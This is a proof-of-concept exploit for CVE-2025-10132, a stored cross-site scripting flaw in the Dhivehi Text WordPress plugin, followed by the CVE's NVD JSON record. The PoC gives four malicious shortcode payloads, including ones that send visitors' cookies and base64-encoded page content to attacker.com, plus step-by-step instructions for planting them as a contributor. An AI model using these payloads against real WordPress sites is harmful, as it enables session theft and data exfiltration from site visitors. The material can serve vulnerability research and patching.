CVE-2025-10132

<!-- Stored XSS PoC for CVE-2025-10132 - Dhivehi Text WordPress Plugin --> <!-- Exploit via 'dhivehi' shortcode attribute injection --> <!-- Requires contributor-level or above authenticated access --> <!-- Method 1: Basic XSS payload via shortcode attribute --> [dhivehi text=""><script>alert('XSS-CVE-2025-10132')</script>"]Test Content[/dhivehi] <!-- Method 2: Cookie stealing payload (for demonstration only) --> [dhivehi text="" onmouseover="document.location='https://attacker.com/steal?c='+document.cookie""][/dhivehi] <!-- Method 3: Event handler injection --> [dhivehi class="" onload="fetch('https://attacker.com/log?data='+btoa(document.body.innerHTML))"][/dhivehi] <!-- Method 4: Breaking out of attribute context --> [dhivehi text=""><img src=x onerror=alert(document.domain)>"][/dhivehi] <!-- Steps to exploit: 1. Login to WordPress as contributor or higher 2. Create a new post 3. Insert the malicious shortcode in the post content 4. Submit for review or publish the post 5. When any user visits the post page, the injected JavaScript executes -->

{"cve": {"id": "CVE-2025-10132", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:37.277", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Dhivehi Text plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'dhivehi' shortcode in all versions up to, and including, 0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/dhivehi-text/tags/0.1/dhivehi-text.php#L105", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/74ff6acc-b362-428a-b227-24282e0f2783?source=cve", "source": "[email protected]"}]}}